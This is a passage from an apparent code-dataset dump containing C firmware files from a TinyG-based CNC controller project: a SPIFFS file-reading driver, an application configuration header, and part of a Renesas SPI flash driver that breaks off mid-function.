*\n * Part of TinyG project\n *\n * Copyright (c) 2011 - 2015 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n#include \"tinyg.h\"\t\t\t// #1\n#include \"config.h\"\t\t\t// #2\n#include \"macros.h\"\n\n#include <stdio.h>\t\t\t\t// precursor for xio.h\n#include <stdbool.h>\t\t\t// true and false\n#include <string.h>\t\t\t\t// for memset\n#include <stdint.h>\t\t\t\t//\n//#include \"platform.h\"\n#include \"xio.h\"\n#include \"ut_state.h\"\n#include \"spiffs_hw.h\"\n#include \"r_spi_flash_if.h\"\n\nuint8_t* SPIFFS_spi_gets (uint8_t* buff, int len, xioSPIFFS_t *fs);\n\n/******************************************************************************\n * FILE CONFIGURATION RECORDS\n ******************************************************************************/\n\nstatic bool fileRunning = false;\nuint32_t actualLine = 0;\nuint32_t previousLine = 0;\nuint32_t choosedLine = 0;\nuint32_t choosedLinePosition = 0;\n\nxioSPIFFS_t\t uspiffs[XIO_DEV_SPIFFS_COUNT];\n\nstruct cfgFILE {\n\tx_open_t x_open;\t\t\t// see xio.h for typedefs\n\tx_ctrl_t x_ctrl;\n\tx_close_t x_close;\n\tx_gets_t x_gets;\n\tx_getc_t x_getc;\n\tx_putc_t x_putc;\n\tx_flow_t x_flow;\n};\n\nstatic struct cfgFILE const cfgFile[] = {\n{\t// PGM config\n\txio_open_spiffs,\t\t\t\t// open function\n\txio_ctrl_generic, \t\t\t// ctrl function\n\txio_close_spiffs, \t\t\t// close function\n\txio_gets_spiffs,\t\t\t\t// get string function\n\txio_getc_spiffs,\t\t\t\t// stdio getc function\n\txio_putc_spiffs,\t\t\t\t// stdio putc function\n\txio_fc_null,\t\t\t\t// flow control callback\n}\n};\n/******************************************************************************\n * FUNCTIONS\n ******************************************************************************/\n\n/*\n *\txio_init_file() - initialize and set controls for file IO\n *\n *\tNeed to bind the open function or a subsequent opens will fail\n */\n\nvoid xio_init_spiffs()\n{\n\tfor (uint8_t i=0; i<XIO_DEV_SPIFFS_COUNT; i++) {\n\t\txio_open_generic(XIO_DEV_SPIFFS_OFFSET + i,\n\t\t\t\t\t\t(x_open_t)(cfgFile[i].x_open),\n\t\t\t\t\t\t(x_ctrl_t)(cfgFile[i].x_ctrl),\n\t\t\t\t\t\t(x_close_t)(cfgFile[i].x_close),\n\t\t\t\t\t\t(x_gets_t)(cfgFile[i].x_gets),\n\t\t\t\t\t\t(x_getc_t)(cfgFile[i].x_getc),\n\t\t\t\t\t\t(x_putc_t)(cfgFile[i].x_putc),\n\t\t\t\t\t\t(x_flow_t)(cfgFile[i].x_flow));\n\t}\n}\n\n/*\n *\txio_open_file() - open the program memory device to a specific string address\n *\n *\tOK, so this is not really a UNIX open() except for its moral equivalent\n * Returns a pointer to the stdio FILE struct or -1 on error\n */\nFILE * xio_open_spiffs(const uint8_t dev, const char *addr, const flags_t flags)\n{\n\txioDev_t *d = (xioDev_t *)&ds[dev];\n\td->x = &uspiffs[0];\t\t\t// bind extended struct to device\n\txioSPIFFS_t *dx = (xioSPIFFS_t *)d->x;\n\tspiffs_DIR sf_dir;\n\tstruct spiffs_dirent e;\n\tstruct spiffs_dirent *pe = &e;\n\n//\tf_mount(&dx->gFatfs,\"\",0);\n//\tf_close(&dx->f);\n// /* Open a text file */\n\tSPIFFS_opendir(&dx->gSPIFFS, \"/\", &sf_dir);\n\tpe = SPIFFS_readdir(&sf_dir, pe);\n dx->f = SPIFFS_open_by_dirent(&dx->gSPIFFS, pe, SPIFFS_RDONLY, 0);\n if (choosedLinePosition > 0 && flags == 1)\n {\n \tSPIFFS_lseek(&dx->gSPIFFS, dx->f, choosedLinePosition, SPIFFS_SEEK_SET);\n macro_func_ptr = RunningInicial_Macro;\n choosedLinePosition = 0;\n choosedLine = 0;\n }\n fileRunning = true;\n\treturn(&d->file);\t\t\t\t\t\t\t\t// return pointer to the FILE stream\n}\n\nint xio_gets_spiffs(xioDev_t *d, char *buf, const int size)\n{\n\txioSPIFFS_t *dx = (xioSPIFFS_t *)d->x;\n\tif (fileRunning)\n\t{\n\t\td->signal = XIO_SIG_OK;\t\t\t// initialize signal\n\t\tif (SPIFFS_spi_gets((uint8_t*)buf, size, dx) == NULL) {\n\t\t\tfileRunning = false;\n\t\t\treturn (XIO_EOF);\n\t\t}\n\t\tpreviousLine = actualLine;\n\t\tactualLine = SPIFFS_tell(&dx->gSPIFFS, dx->f);\n//\t\tprintf(buf);\n\t\treturn(XIO_OK);\n\t}\n\treturn(XIO_EAGAIN);\n}\n\nvoid xio_close_spiffs (xioDev_t *d)\n{\n\txioSPIFFS_t *dx = (xioSPIFFS_t *)d->x;\n\tSPIFFS_close(&dx->gSPIFFS,dx->f);\n}\n\nint xio_getc_spiffs(FILE *stream)\n{\n\treturn(0);\n}\n\nint xio_putc_spiffs(const char c, FILE *stream)\n{\n\treturn(-1);\n}\n\n/*-----------------------------------------------------------------------*/\n/* Get a string from the file */\n/*-----------------------------------------------------------------------*/\n\nuint8_t* SPIFFS_spi_gets (\n\tuint8_t* buff,\t/* Pointer to the string buffer to read */\n\tint len,\t\t/* Size of string buffer (characters) */\n\txioSPIFFS_t *fs\n)\n{\n\tint n = 0;\n\ts32_t res;\n\tuint8_t c, *p = buff;\n\tuint8_t s[2];\n\n\twhile (n < len - 1) {\t/* Read characters until buffer gets filled */\n\t\tres = SPIFFS_read(&fs->gSPIFFS, fs->f, s, 1);\n\t\tif(res <= 0) break;\n\t\tc = s[0];\n\t\tif (_USE_STRFUNC == 2 && c == '\\r') continue;\t/* Strip '\\r' */\n\t\t*p++ = c;\n\t\tn++;\n\t\tif (c == '\\n') break;\t\t/* Break on EOL */\n\t}\n\t*p = 0;\n\treturn n ? buff : 0;\t\t\t/* When no data read (eof or error), return with error. */\n}\n" }, { "alpha_fraction": 0.577977180480957, "alphanum_fraction": 0.5886490345001221, "avg_line_length": 36.48181915283203, "blob_id": "7b6a43397b44dcce5967e0b6b10e97a2231d8a71", "content_id": "8b5eeaaed3bb27958a7bc40f717b99a034a97d3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4123, "license_type": "no_license", "max_line_length": 101, "num_lines": 110, "path": "/src/cnc/config_app.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * config_app.h - application-specific part of configuration sub-system\n * This file is part of the TinyG project\n *\n * Copyright (c) 2010 - 2014 Alden S. Hart, Jr.\n * Copyright (c) 2013 - 2014 Robert Giseburt\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#ifndef CONFIG_APP_H_ONCE\n#define CONFIG_APP_H_ONCE\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n/***********************************************************************************\n **** APPLICATION_SPECIFIC DEFINITIONS AND SETTINGS ********************************\n ***********************************************************************************/\n\nenum nvType {\t\t\t\t\t\t// classification of commands\n\tNV_TYPE_NULL = 0,\n\tNV_TYPE_CONFIG,\t\t\t\t\t// configuration commands\n\tNV_TYPE_GCODE,\t\t\t\t\t// gcode\n\tNV_TYPE_REPORT,\t\t\t\t\t// SR, QR and any other report\n\tNV_TYPE_MESSAGE,\t\t\t\t// nv object carries a message\n\tNV_TYPE_LINENUM\t\t\t\t\t// nv object carries a gcode line number\n};\n\n/***********************************************************************************\n **** APPLICATION_SPECIFIC CONFIG STRUCTURE(S) *************************************\n ***********************************************************************************/\n\ntypedef struct cfgParameters {\t\t// mostly communications variables at this point\n\tuint16_t magic_start;\t\t\t// magic number to test memory integrity\n\n\t// communications settings\n\tuint8_t comm_mode;\t\t\t\t// TG_TEXT_MODE or TG_JSON_MODE\n\tuint8_t enable_cr;\t\t\t\t// enable CR in CRFL expansion on TX\n\tuint8_t enable_echo;\t\t\t// enable text-mode echo\n\tuint8_t enable_flow_control;\t// enable XON/XOFF or RTS/CTS flow control\n//\tuint8_t ignore_crlf;\t\t\t// ignore CR or LF on RX --- these 4 are shadow settings for XIO cntrl bits\n\n\tuint8_t usb_baud_rate;\t\t\t// see xio_usart.h for XIO_BAUD values\n\tuint8_t usb_baud_flag;\t\t\t// technically this belongs in the controller singleton\n\n\t// user-defined data groups\n\tuint32_t user_data_a[4];\n\tuint32_t user_data_b[4];\n\tuint32_t user_data_c[4];\n\tuint32_t user_data_d[4];\n\n\tuint16_t magic_end;\n} cfgParameters_t;\nextern cfgParameters_t cfg;\n\n/***********************************************************************************\n * CONFIGURATION AND INTERFACE FUNCTIONS\n * Functions to get and set variables from the cfgArray table\n ***********************************************************************************/\n\nstat_t set_baud_callback(void);\n\n// job config\nvoid job_print_job(nvObj_t *nv);\nstat_t job_get(nvObj_t *nv);\nstat_t job_set(nvObj_t *nv);\nuint8_t job_report_callback();\n\n/***********************************************************************************\n * TEXT MODE SUPPORT\n * Functions to print variables from the cfgArray table\n ***********************************************************************************/\n\n#ifdef __TEXT_MODE\n\n\tvoid cfg_print_ec(nvObj_t *nv);\n\tvoid cfg_print_ee(nvObj_t *nv);\n\tvoid cfg_print_ex(nvObj_t *nv);\n\tvoid cfg_print_baud(nvObj_t *nv);\n\tvoid cfg_print_net(nvObj_t *nv);\n\tvoid cfg_print_rx(nvObj_t *nv);\n\n#else\n\n\t#define cfg_print_ec tx_print_stub\n\t#define cfg_print_ee tx_print_stub\n\t#define cfg_print_ex tx_print_stub\n\t#define cfg_print_baud tx_print_stub\n\t#define cfg_print_net tx_print_stub\n\t#define cfg_print_rx tx_print_stub\n\n#endif // __TEXT_MODE\n\n#ifdef __cplusplus\n}\n#endif // __cplusplus\n\n#endif //End of include guard: CONFIG_APP_H_ONCE\n" }, { "alpha_fraction": 0.46601399779319763, "alphanum_fraction": 0.4810604751110077, "avg_line_length": 36.76302719116211, "blob_id": "6554be7387ed21ff948229edb5cb2e8ff708d6a6", "content_id": "da6f9cd7ef993dfd4d8b13b5d41814208b8b028f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 30439, "license_type": "no_license", "max_line_length": 120, "num_lines": 806, "path": "/r_spi_flash/src/r_spi_flash.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name\t : r_spi_flash.c\n* Description : This module implements the protocol used by many SPI flashes. This code does not support some of the \n* more advanced commands that are specific to some SPI flash chips.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 29.02.2012 1.00 First Release \n* : 20.04.2012 1.10 Added support for Numonyx M25P16 SPI flash.\n* : 10.05.2012 1.20 Updated to be compliant with FIT Module Spec v0.7. Improved locking mechanics to be more\n* efficient.\n* : 13.02.2013 1.30 Updated to be compliant with FIT Module Spec v1.02\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* Fixed-size integer typedefs. */\n#include <stdint.h>\n/* bool support. */\n#include <stdbool.h>\n/* min() support. */\n#include <machine.h>\n/* Board support. */\n#include \"platform.h\"\n/* This code relies on the r_rspi_rx package. */\n#include \"r_rspi_rx_if.h\"\n/* Configuration for this package. */\n#include \"r_spi_flash_config.h\"\n\n#include \"r_spi_flash_if.h\"\n\nvolatile bool g_transfer_complete = false;\n\nrspi_cmd_baud_t spiflash_setbaud;\nrspi_err_t spiflash_result;\n\n/***********************************************************************************************************************\nPrivate global variables and functions\n***********************************************************************************************************************/\nstatic void sf_open(uint8_t channel);\nstatic void sf_close(uint8_t channel);\nstatic void sf_write_enable(uint8_t channel);\nstatic void sf_write_protect(uint8_t channel);\nstatic void sf_write_unprotect(uint8_t channel);\nstatic bool sf_lock_channel(uint8_t channel);\nstatic bool sf_unlock_channel(uint8_t channel);\nstatic uint8_t sf_read_status (uint8_t channel);\n\nstatic bool RSPI1_SendReceive( uint8_t const *pSrc, uint8_t *pDest, uint16_t usBytes);\nstatic bool RSPI1_Read( uint8_t *pDest, uint16_t usBytes);\nstatic bool RSPI1_Write( const uint8_t *pSrc, uint16_t usBytes);\nstatic bool RSPI1_rx_buffer_full (void);\n\n/***********************************************************************************************************************\n* Function Name: sf_write_enable\n* Description : Sets Write Enable Latch bit\n* Arguments : channel -\n* Which SPI channel to use.\n* Return Value : none\n***********************************************************************************************************************/\nstatic void sf_write_enable (uint8_t channel)\n{\n /* Send write enable command */\n uint8_t val = SF_CMD_WRITE_ENABLE;\n \n /* Initialize peripheral for SPI */\n sf_open(channel);\n \n RSPI1_Write(&val,sizeof(val));\n /* Close peripheral for SPI */\n sf_close(channel); \n}\n\n\n/***********************************************************************************************************************\n* Function Name: sf_write_protect\n* Description : Sets the Status Register Write Disable (SRWD) bit. Setting this bit locks the status register from \n* being rewritten if the Write Protect pin is high. If the pin is low, then the status register can be \n* changed. You must set/clear the Block Protect Bits at this time too.\n* Arguments : channel -\n* Which SPI channel to use.\n* Return Value : none\n***********************************************************************************************************************/\nstatic void sf_write_protect (uint8_t channel)\n{\n uint8_t val[2];\n \n /* Send write enable command */\n sf_write_enable(channel);\n \n /* Initialize peripheral for SPI */\n sf_open(channel);\n \n /* This section writes data. The first character is the write command */\n val[0] = SF_CMD_WRITE_STATUS_REG;\n val[1] = SF_WP_BIT_MASK;\n RSPI1_Write(val,sizeof(val));\n\n /* Close peripheral for SPI */\n sf_close(channel); \n}\n\n/***********************************************************************************************************************\n* Function Name: sf_write_unprotect\n* Description : Clears the Status Register Write Disable (SRWD) bit, if the Write Protect pin is high. Clearing this \n* bit unlocks the status register for rewriting. The Write Protect pin must be high to clear the SRWD \n* bit. You can set/clear the Block Protect Bits at this time too.\n* Arguments : channel -\n* Which SPI channel to use.\n* Return Value : none\n***********************************************************************************************************************/\nstatic void sf_write_unprotect (uint8_t channel)\n{\n uint8_t val[2];\n \n /* Send write enable command */\n sf_write_enable(channel);\n \n /* Initialize peripheral for SPI */\n sf_open(channel);\n \n /* This section writes data. The first character is the write command */\n val[0] = SF_CMD_WRITE_STATUS_REG;\n val[1] = 0x0;\n RSPI1_Write(val,sizeof(val));\n\n /* Close peripheral for SPI */\n sf_close(channel);\n \n}\n\nvoid R_SF_Init(uint8_t channel)\n{\n\tbool lock;\n /* Initialize peripherals used for talking to SPI flash */\n\t//R_RSPI_Open(channel, &spiflash_config, spiflash_callback, &spiflash_handle);\n\t/* Get the looking */\n if(R_BSP_HardwareLock((mcu_lock_t)(BSP_LOCK_RSPI1)))\n {\n \tsf_close(1);\n\t\tR_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LPC_CGC_SWR);\n\t\tMSTP(RSPI1) = 0; /* Init peripheral */\n\t\tR_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n IPR(RSPI1, SPRI1) = 3;\n IEN(RSPI1, SPRI1) = 0;\n IEN(RSPI1, SPTI1) = 0;\n IR(RSPI1, SPRI1) = 0 ;\n\n RSPI1.SPCR.BYTE = 0x00; /*Clock synchronous operation; Master mode*/\n /* Set RSPI bit rate (SPBR) */\n /* -Set baud rate to 24Mbps (48MHz / (2 * (0 + 1) * 2^0) ) = 24Mbps */\n RSPI1.SPBR = 0;\n\n /* Set RSPI data control register (SPDCR) */\n /* -SPDR is accessed in longwords (32 bits)\n -Transfer 1 frame at a time */\n RSPI1.SPDCR.BYTE = 0x20;\n\n /* Set RSPI control register 2 (SPCR2) */\n /* -Disable Idle interrupt */\n RSPI1.SPCR2.BYTE = 0x00;\n\n /* Set RSPI command register 0 (SPCMD0) */\n /* -MSB first\n -8 bits data length\n -SSL0 (handled manually)\n -Use bit rate % 1\n */\n RSPI1.SPCMD0.WORD = 0x0400;\n\n /* Set RSPI control register (SPCR) */\n /* -Clock synchronous operation (3-wire)\n -Full duplex operation\n -Master mode\n -SPTI and SPRI enabled in RSPI (have to check ICU also)\n -Enable RSPI function */\n RSPI1.SPCR.BYTE = 0xE9;\n\n\n// DMAC0.DMCNT.BIT.DTE = 0;\n// ICU.DMRSR0 = 43; /*RSPI1 RX*/\n// ICU.DMRSR1 = 44; /*RSPI1 TX*/\n//\n// DMAC0.DMTMD.WORD = 0x0001;\n// DMAC0.DMAMD.WORD =0x4040;\n//\n// DMAC1.DMTMD.WORD = 0x0001;\n// DMAC1.DMAMD.WORD =0x8040;\n }\n}\n\n/***********************************************************************************************************************\n* Function Name: R_SF_Erase\n* Description : Performs either a partial or whole chip erase. Erase size options are defined in sf_erase_sizes type\n* in the header file for this particular SPI flash.\n* Arguments : channel -\n* Which SPI channel to use.\n* address - \n* Address of sector to erase\n* size -\n* Erase part of memory or whole memory. Options are in sf_erase_sizes type.\n* Return Value : true -\n* Erase was started.\n* false -\n* Could not start erase.\n***********************************************************************************************************************/\nbool R_SF_Erase (uint8_t channel, const uint32_t address, const sf_erase_sizes_t size)\n{\n bool ret = true;\n uint8_t val[4];\n\n /* Attempt to obtain lock for SPI channel. */\n if (false == sf_lock_channel(channel))\n {\n /* This channel is already being used. Try again later. */\n return false;\n }\n\n /* Allow memory to be modified */\n sf_write_unprotect(channel);\n\n /* Wait for WIP bit to clear */\n while ((sf_read_status(channel) & SF_WIP_BIT_MASK) == 1);\n\n /* Send write enable command */\n sf_write_enable(channel);\n\n /* Initialize peripheral for SPI */\n sf_open(channel);\n\n /* Erase command */\n if (size == SF_ERASE_SECTOR)\n {\n /* Assign sector erase command. */\n val[0] = SF_CMD_ERASE_SECTOR;\n\n /* Sector erase is one byte command and 24bit address */\n val[1] = (uint8_t)(address >> 16);\n val[2] = (uint8_t)(address >> 8);\n val[3] = (uint8_t)(address >> 0);\n\n RSPI1_Write(val,sizeof(val));\n }\n else if(size == SF_ERASE_BULK)\n {\n /* Assign bulk erase command. */\n val[0] = SF_CMD_ERASE_BULK;\n\n /* bulk erase is one byte command */\n RSPI1_Write(val,1);\n }\n else if (size == SF_ERASE_BLOCK)\n {\n /* Assign sector erase command. */\n val[0] = SF_CMD_ERASE_BLOCK;\n\n /* Sector erase is one byte command and 24bit address */\n val[1] = (uint8_t)(address >> 16);\n val[2] = (uint8_t)(address >> 8);\n val[3] = (uint8_t)(address >> 0);\n\n RSPI1_Write(val,sizeof(val));\n }\n else\n {\n /* Bad command. */\n ret = false;\n }\n\n /* Close peripheral for SPI */\n sf_close(channel);\n\n /* Protect memory from modification */\n sf_write_protect(channel);\n\n /* Release lock on channel. */\n sf_unlock_channel(channel);\n\n return ret;\n}\n\n/***********************************************************************************************************************\n* Function Name: R_SF_WriteData\n* Description : Writes data to the external flash.\n* Arguments : channel -\n* Which SPI channel to use.\n* address -\n* Target address to write to.\n* data - \n* Location to retrieve data to write.\n* size - \n* Amount of data to write.\n* Return Value : true -\n* Data sent successfully.\n* false -\n* Bad input parameters.\n***********************************************************************************************************************/\nbool R_SF_WriteData (uint8_t channel, uint32_t address, uint8_t * data, uint32_t size)\n{\n uint8_t val[4];\n#if (SF_MEM_MAX_PROGRAM_BYTES > 1) \n uint32_t next_page_addr;\n#endif \n uint32_t bytes_to_write = 0;\n\n /* Attempt to obtain lock for SPI channel. */\n if (false == sf_lock_channel(channel))\n {\n /* This channel is already being used. Try again later. */\n return false;\n }\n \n /* We only need to worry about being on a program boundary for the first write. If there are other writes\n needed after that then it will always be on a page boundary. */\n \n /* How many bytes to write this time? This will be either max program size or how many bytes are left. */\n bytes_to_write = (uint32_t)min(SF_MEM_MAX_PROGRAM_BYTES, size); \n \n#if (SF_MEM_MAX_PROGRAM_BYTES > 1) \n /* Get address of start of next page. This is done by moving to next page and then masking off bottom bits. \n Example: \n SF_MEM_MAX_PROGRAM_BYTES = 0x100\n address = 0x1234\n next_page_addr = (0x1234 + 0x100) & (~(0x100-1))\n next_page_addr = (0x1334) & (~(0xFF))\n next_page_addr = (0x1334) & (0xFFFFFF00)\n next_page_addr = 0x00001300\n */\n next_page_addr = (address + SF_MEM_MAX_PROGRAM_BYTES) & (~((uint32_t)SF_MEM_MAX_PROGRAM_BYTES-1));\n \n /* If we are programming over a page boundary then we will need to split this up. */\n if ((address + bytes_to_write) > next_page_addr)\n {\n /* We are cannot write over page boundary so only write up to boundary. */\n bytes_to_write = next_page_addr - address;\n }\n#endif\n \n /* Allow memory to be modified */\n sf_write_unprotect(channel);\n\n while (size > 0)\n {\n /* Wait for WIP bit to clear */\n while((sf_read_status(channel) & SF_WIP_BIT_MASK) == 1);\n \n /* Send write enable command */\n sf_write_enable(channel);\n \n /* Initialize peripheral for SPI */\n sf_open(channel);\n \n /* This section writes data. The first character is the write command */\n val[0] = SF_CMD_PAGE_PROGRAM;\n val[1] = (uint8_t)(address >> 16);\n val[2] = (uint8_t)(address >> 8);\n val[3] = (uint8_t)(address >> 0);\n RSPI1_Write(&val,sizeof(val));\n\n /* Write data buffer to the flash */\n RSPI1_Write((uint8_t *)data,bytes_to_write);\n\n /* Close peripheral for SPI */\n sf_close(channel);\n\n /* Decrement bytes left to write. */\n size -= bytes_to_write;\n /* Increment data pointer. */\n data += bytes_to_write;\n /* Increment write address. */\n address += bytes_to_write;\n \n /* Update bytes_to_write for next loop iteration (if needed). */\n if (size > 0)\n {\n /* How many bytes to write this time? This will be either max program size or how many bytes are left. */\n bytes_to_write = (uint32_t)min(SF_MEM_MAX_PROGRAM_BYTES, size);\n }\n }\n \n /* Protect memory from modification */\n sf_write_protect(channel);\n\n /* Release lock on channel. */\n sf_unlock_channel(channel);\n \n return true;\n}\n\n/***********************************************************************************************************************\n* Function Name: R_SF_ReadData\n* Description : Performs a read of the external flash to specified buffer.\n* Arguments : channel -\n* Which SPI channel to use.\n* address -\n* Target address to read from.\n* data - \n* Location to place read data.\n* size - \n* Amount of data to read.\n* Return Value : true - \n* Success.\n* false -\n* Failure.\n***********************************************************************************************************************/\nbool R_SF_ReadData (uint8_t channel, const uint32_t address, uint8_t * data, const uint32_t size)\n{\n uint8_t val[4];\n\n /* Attempt to obtain lock for SPI channel. */\n if (false == sf_lock_channel(channel))\n {\n /* This channel is already being used. Try again later. */\n return false;\n }\n \n /* Initialize peripheral for SPI */\n sf_open(channel);\n \n /* This section reads back data. The first character is the read command. */\n val[0] = SF_CMD_READ;\n val[1] = (uint8_t)(address >> 16);\n val[2] = (uint8_t)(address >> 8);\n val[3] = (uint8_t)(address >> 0);\n RSPI1_Write(val,sizeof(val));\n\n /* Read data. */\n\tRSPI1_Read(data,size);\n\n /* Close peripheral for SPI */\n sf_close(channel);\n\n /* Release lock on channel. */\n sf_unlock_channel(channel);\n \n return true;\n}\n\n/***********************************************************************************************************************\n* Function Name: R_SF_ReadStatus\n* Description : Reads flash status register and returns. This is just a wrapper function for sf_read_status(). This was\n* done because other API functions need to read the status register and they will already have locked\n* the RSPI channel. If the user wishes to read the status register themselves, then this function needs\n* to exist to obtain the lock to make sure this does not interfere with other RSPI operations.\n* Arguments : channel -\n* Which SPI channel to use.\n* Return Value : Status register contents from SPI flash \n***********************************************************************************************************************/\nuint8_t R_SF_ReadStatus (uint8_t channel)\n{\n uint8_t status_reg;\n\n /* Attempt to obtain lock for SPI channel. */\n if (false == sf_lock_channel(channel))\n {\n /* This channel is already being used. Try again later. */\n return false;\n }\n \n /* Read status register. */\n status_reg = sf_read_status(channel);\n\n /* Release lock on channel. */\n sf_unlock_channel(channel);\n \n return status_reg;\n}\n\n/***********************************************************************************************************************\n* Function Name: R_SF_ReadID\n* Description : Read identification of SPI Flash\n* Arguments : channel -\n* Which SPI channel to use.\n* data - \n* Location to place read data.\n* size -\n* Number of bytes to read.\n* Return Value : true -\n* Success.\n* false -\n* Failure.\n***********************************************************************************************************************/\nbool R_SF_ReadID (uint8_t channel, uint8_t * data, uint32_t size)\n{\n uint8_t val;\n\n /* Attempt to obtain lock for SPI channel. */\n if (false == sf_lock_channel(channel))\n {\n /* This channel is already being used. Try again later. */\n return false;\n }\n \n /* Initialize peripheral for SPI */\n sf_open(channel);\n \n val = SF_CMD_READ_ID;\n \n /* Send command. */\n RSPI1_Write(&val,sizeof(val));\n\n /* Read data. */\n\tRSPI1_Read(data,size);\n\n /* Close peripheral for SPI */\n sf_close(channel);\n\n /* Release lock on channel. */\n sf_unlock_channel(channel);\n \n return true;\n}\n\n\n/***********************************************************************************************************************\n* Function Name: sf_open\n* Description : Performs steps to get ready for SPI flash communications (not initialization of SPI MCU peripheral)\n* Arguments : channel -\n* Which SPI channel to use.\n* Return Value : true -\n* Success.\n* false -\n* Failure.\n***********************************************************************************************************************/\nstatic void sf_open (uint8_t channel)\n{\n /* Use chip select to select SPI flash. */\n\tSPIFLASH_CS = 0;\n}\n\n\n/***********************************************************************************************************************\n* Function Name: sf_close\n* Description : Performs steps to close SPI flash communications\n* Arguments : channel -\n* Which SPI channel to use.\n* Return Value : none\n***********************************************************************************************************************/\nstatic void sf_close (uint8_t channel)\n{\n /* Deselect SPI flash. */\n\tSPIFLASH_CS = 1;\n}\n\n\n/***********************************************************************************************************************\n* Function Name: sf_lock_channel\n* Description : Make sure we have permission to use RSPI channel\n* Arguments : channel -\n* Which SPI channel to use.\n* Return Value : true -\n* Permission granted, we can use the channel\n* false -\n* Channel already in use, try again later\n***********************************************************************************************************************/\nstatic bool sf_lock_channel (uint8_t channel)\n{\n return true;\n}\n\n/***********************************************************************************************************************\n* Function Name: sf_unlock_channel\n* Description : Release lock on RSPI channel so other processes can use it.\n* Arguments : channel -\n* Which SPI channel to unlock.\n* Return Value : true -\n* Lock released.\n* false -\n* Lock not released because we did not have permission for lock. Error!\n***********************************************************************************************************************/\nstatic bool sf_unlock_channel (uint8_t channel)\n{\n return true;\n}\n\n\n/***********************************************************************************************************************\n* Function Name: sf_read_status\n* Description : Reads the status register on the SPI flash.\n* Arguments : channel -\n* Which SPI channel to use..\n* Return Value : Status register contents from SPI flash \n***********************************************************************************************************************/\nstatic uint8_t sf_read_status (uint8_t channel)\n{\n uint8_t val;\n\n /* Initialize peripheral for SPI */\n sf_open(channel);\n \n val = SF_CMD_READ_STATUS_REG;\n \n /* Send command. */\n RSPI1_Write(&val,sizeof(val));\n\n /* Read register. */\n\tRSPI1_Read(&val,sizeof(val));\n\n /* close peripheral for SPI */\n sf_close(channel);\n\n return val;\n}\n\n/***********************************************************************************************************************\n* Function Name: RSPI1_SendReceive\n* Description : Performs SPI transfers. Can read and write at the same time.\n* Arguments :\n* pSrc -\n* pointer to data buffer with data to be transmitted.\n* If NULL, const 0xFF as source.\n* pDest -\n* pointer to location to put the received data (can be same as pSrc if desired).\n* If NULL, receive data discarded.\n* usBytes -\n* number of bytes to be sent/received\n* Return Value : true -\n* Operation completed.\n* false -\n* This task did lock the RSPI fist.\n***********************************************************************************************************************/\nstatic bool 